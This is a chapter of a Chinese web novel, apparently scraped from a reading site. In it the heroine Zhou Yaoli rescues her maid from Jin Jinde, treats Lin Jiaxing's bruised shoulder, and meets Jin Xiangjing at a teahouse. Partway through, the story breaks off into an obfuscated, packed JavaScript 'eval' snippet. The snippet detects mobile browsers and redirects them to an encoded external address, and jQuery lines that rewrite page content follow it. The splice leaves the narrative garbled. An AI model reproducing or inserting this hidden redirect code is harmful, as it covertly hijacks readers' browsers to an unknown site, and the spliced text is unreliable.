65. 赴约

作品:《掌厨(穿越)

    周瑶理放开怀里的银春,将她安置在角落后才慢慢站起来,抬手将头发重新束好。


    金进德被敲得突然,像死鱼一般横躺在她和林嘉行中间,看上去一时半会醒不了。


    她目光沉沉地盯住地上的人,脚下轻轻动作。


    林嘉行还未来得及拦住,就见眼前的姑娘抬起腿猛地踢向地上那人。


    只听金进德喉咙发出短促的咕噜声,像濒死的鱼抽弹一下随即彻底安静。


    周瑶理一把牵过从角落那怯生生走来的银春。


    要不是怕吓着小姑娘,她今日非得把姓金的这混帐大卸八块不可。


    “走,回家。”她紧了紧牵着银春的手,绕过金进德打算离开。


    银春走前两步又停下,在周瑶理疑惑的眼神下转身,学着她刚刚的样子踹了脚地上的人。


    “姑娘说了,咱得有仇就报。”


    银春要比周瑶理矮些许,抬头看她时眼珠子得往上瞪才行。


    怕会遇到问讯寻来的金家人,周瑶理三人脚步离去,没去管屋内那人是死是活。


    三人满脑子都是赶回家的念头,没注意躺在地上的金进德悠悠转醒,正扶着脑袋坐起来。


    等快到大门那时才听到后面传来急促的脚步声。


    金进德拎着刚刚那张木凳一瘸一拐跑来,眼瞧自己赶不上她们的步伐,干脆使出浑身力气将凳子砸去。


    林嘉行垫后,那张飞来的木凳正好砸中他的肩胛骨,不由得闷哼一声,弯下腰往前踉跄两步。


    周瑶理本就因为没法手刃了金进德烦得不行,这回实在忍不住,抄起凳子立马扔回去。


    不轻不重不远不近,正正好扔中他的下半身。


    金进德腿脚不方便来不及躲开,硬生生接住凳子。脸上露出痛苦神色,慢慢下蹲最后直接跪在地上,头抵地面。


    周瑶理扔完便不再管他,一手拉住一个,卯足劲儿往外跑。


    刚出大门她余光瞄到拐角处那猛地缩进去一个人影,停住脚步往那看去。


    风平树静,无人逗留。


    “怎么了吗?”林嘉行发现身边的人慢下步伐,再转头就见她一个劲儿的往拐角那伸头。


    “没什么,估计看错了。”


    回去要紧,谁知道金进德还会不会继续追过来。


    饭馆早就打烊休息,周瑶理回到时瞧见文竹一人在门口来回踱步。


    见到她时文竹差点泪飙而出,好在忍住了。


    在店内一同等候的陈辛闻声快步走出,拉住周瑶理左右瞧看,脸上满是担忧。


    “回来就好。”


    再转头看到银春脸上的红痕,气得她是接连将金家祖上十八代都拉出来臭骂一顿。


    周瑶理连忙捂住她的嘴拖进店里,再回身将大门紧锁。


    “你捂我嘴干嘛?”


    陈辛不满瞪她,自己还没骂够呢。


    周瑶理自知陈辛是为她打抱不平,但没必要因为她而得罪金家。


    她们等东异的比赛结束就马上离开,最多再受不到一月的骚扰。


    她可以肆无忌惮地和金进德打个有来有回,但陈掌柜不行。


    陈辛是土生土长的东异人,从年少时期就跟在母父身后学习掌柜本领,守着甜果斋这家店铺少说也有十几年。


    为了她们和金家闹翻,实在得不偿失。


    时候不早,周瑶理开门送陈辛回去。


    “多谢阿姐帮忙打理店面,不然就文竹一个愣头青,不知道能弄出啥事儿来。”


    陈辛只是无所谓的摆手,邻居一场道什么谢。


    更何况她每次去馆子吃饭,周瑶理都会少算几文钱,平时若是做些新式零嘴也总会让银春给她送来。


    白吃人家这么多东西,帮忙看次店而已就让人感恩戴德,她可没这般不讲情面。


    拜金进德所赐,周瑶理她们今天称得上过量运动。


    西邻坊离柳角街隔好长一段路,来回两趟愣住让她跑到半程快要吐出来,紧接着又得和他自由博弈。


    说句像拉磨的驴都不为过。


    银春这会儿精神倒不算太差,早已恢复平时的可爱模样。


    刚被掳走时她确实怕得不行,但瞧见周瑶理她们出现在房间那刻便不害怕了。


    她就知道周姑娘不会放弃自己的。


    将人塞回房间后,周瑶理简单洗漱完又翻出伤药,敲响林嘉行的房门。


    她像回自己家般自在,不等林嘉行开口问,自己就绕过他走进屋。


    “上衣脱了。”


    林嘉行关门的手骤停,而后转身慢吞吞走到她边上的椅子坐下。


    其实他伤得不重,只是当时的场景看上去惊悚些。


    周瑶理不看他都知道对方在扭捏什么,埋头翻找系统给的药箱里有哪些是外用药。


    等一切准备就绪,单手叉腰端着药瓶,毫无感情地甩出一句,“我数到三。”


    林嘉行干脆利落解开衣结,露出后背肩胛那红肿的一片。


    平日里不小心磕到凳子都会有些许乌青,更何况金进德当时憋足气力扔来,不肿才怪。


    手摁在伤处的力道重些,不一会儿红肿处泛出大片乌青红点。


    林嘉行死咬牙关才将背后传来的痛感扛下,面上装作若无其事的样子。


    毫不知情的周瑶理不经意瞥中,以为是自己没使上劲儿。


    常听老一辈的人说起淤血得揉透才行,不然以后风湿就不好了。


    想到这她又加重几分力道。


    痛感急剧上升,林嘉行只好默默捏紧拳头。


    早知道就不装了。


    也不知时间过去多久,林嘉行已经痛得麻木。


    周瑶理慢条斯理收拾残局时他才从飘忽的思绪回过神,连呼吸的力气都轻不少。


    “你也真是的,也不知道躲开。”周瑶理收拾药箱的动作停下,无语地叹口气。


    要是躲开,那张凳子便会直接朝她后脑勺的方向飞去。


    林嘉行没说什么,只是默默拽起衣服穿上,但袖子不听话地滑到左侧。


    肩膀那块因为被大力揉搓过,现下只要稍微受到拉扯就泛出股股钻心疼痛。


    周瑶理看不下过眼,直接上手拽起衣袖。


    方才还有得忙时并未发觉有何不妥,现下得了空反而察觉出些怪异感觉。


    快速扫眼只穿白色里衣的林嘉行,估计是穿得太仓促的缘故,领口处松松垮垮。


    她尴尬挪开眼,眼神在屋内乱瞟。


    难怪刚刚进来时他就满脸不乐意,如今看来确实不太好。


    匆匆丢下句早点睡便夺门而出。


    林嘉行愣身看向门口,等对面的房门被打开又关上之后,才缓缓站起身前去关门。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192346|192238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>经年不修的木门变得老旧,总喜欢在关合时发出动静,好让主人家多心疼心疼它。


    吱呀响声伴随一声若不注意就会被忽略的轻声哼笑,随后院落悄然寂静。


    周瑶理跟着跑堂走上茶馆二楼,稍抬眼就望见金湘静已经坐在穿边的位置,正偏头看向窗外发呆。


    谢绝茶馆伙计带路,她在楼梯口站几秒过后才提步向窗边坐着的那人方向走去。


    “让金小姐好等。”


    身后传来脚步声,金湘静还未回身朝来人看去就先听见她的打趣声。再一抬头,人已经走到对面坐下。


    “他们家的茶叶都是历年头采的上等佳品,周老板尝尝可还合口味。”金湘静端起茶壶往杯子斟满九分茶,再小心推到她面前。


    “有劳。”周瑶理端起茶杯凑近闻香,蓦地自顾自笑起来,“有幸和金少东家在此同桌品茶过。”


    话毕像无意提起,如同刚刚只是问及吃饭了没,继续转而聊起旁的东西。


    金湘静半边脸被衣袖挡住,掩藏布料后面嘴唇无声轻启又紧抿,随后放下茶杯。


    “进德又给你添麻烦了吧。”


    明明是问句,却带上十足的笃定。


    “金小姐约我喝茶又是替他赔罪来的吧。”


    俩人视线对上,试图从对方眼里找出点别的意味。


    这回轮到周瑶理扭头看向窗外。


    她打从一开始接到素娘送来的信笺时便不想赴约。


    “金小姐托我转告掌柜的,不论如何她都会在茶馆等您。”被差来送信的素娘难为情地转达金湘静的意思。


    导致周瑶理今早起床时纠结好久,还是不忍心把人姑娘家丢在茶馆。


    最后只能憋了满腔闷气起床洗漱,被林嘉行压着吃完早饭再出门赴约。


    难得遇上每周休息日,还得去见些不乐意瞧看的人。


    谁能晓得金湘静从听到金进德三个字起就像触碰到机关似的,也不管周瑶理是否在听,絮絮叨叨提起自家弟弟。


    喝茶无聊,坐在张嘴闭口都是阿弟的人更无聊。


    周瑶理烦闷地勾住耳朵。


    “周姑娘是烦了?”


    金湘静捕捉到她的小动作,满脸受伤神情,蹙眉低眼望向她。


    周瑶理叹气,抬手示意她继续。


    算她怕了金大小姐。


    金湘静摇头,同样看向窗外。


    茶馆二楼隐隐约约传来其他茶客的低声畅谈声,显得她们这桌过分安静。


    “对面铺子卖什么的?”


    牌匾只写一个云字,店铺门面装得也是简陋至极。


    金湘静手撑住下巴,听声放下搁在窗台上的胳膊,回身细品温茶再启声回她。


    “云商会的铺子,咱们普通人从她那儿是买不到寻常物件的。”


    周瑶理还想继续追问,但对方扔下句不信你自己去问问,过后不管她如何问都不愿再说。


    金大小姐看上去像是被她烦得不行,喝完最后一盏茶便匆匆请辞离去。


    等楼梯处那的熟悉身影再也看不见,周瑶理收起赖皮做派,冷眼盯住外面的街道。


    金家的马车已经在茶馆门口等候许久。


    不多时金湘静的身影出现在茶馆外,随后一行人离去。


    周瑶理独自喝光茶壶里仅剩的最后一点茶水,下楼直接往街对面走去。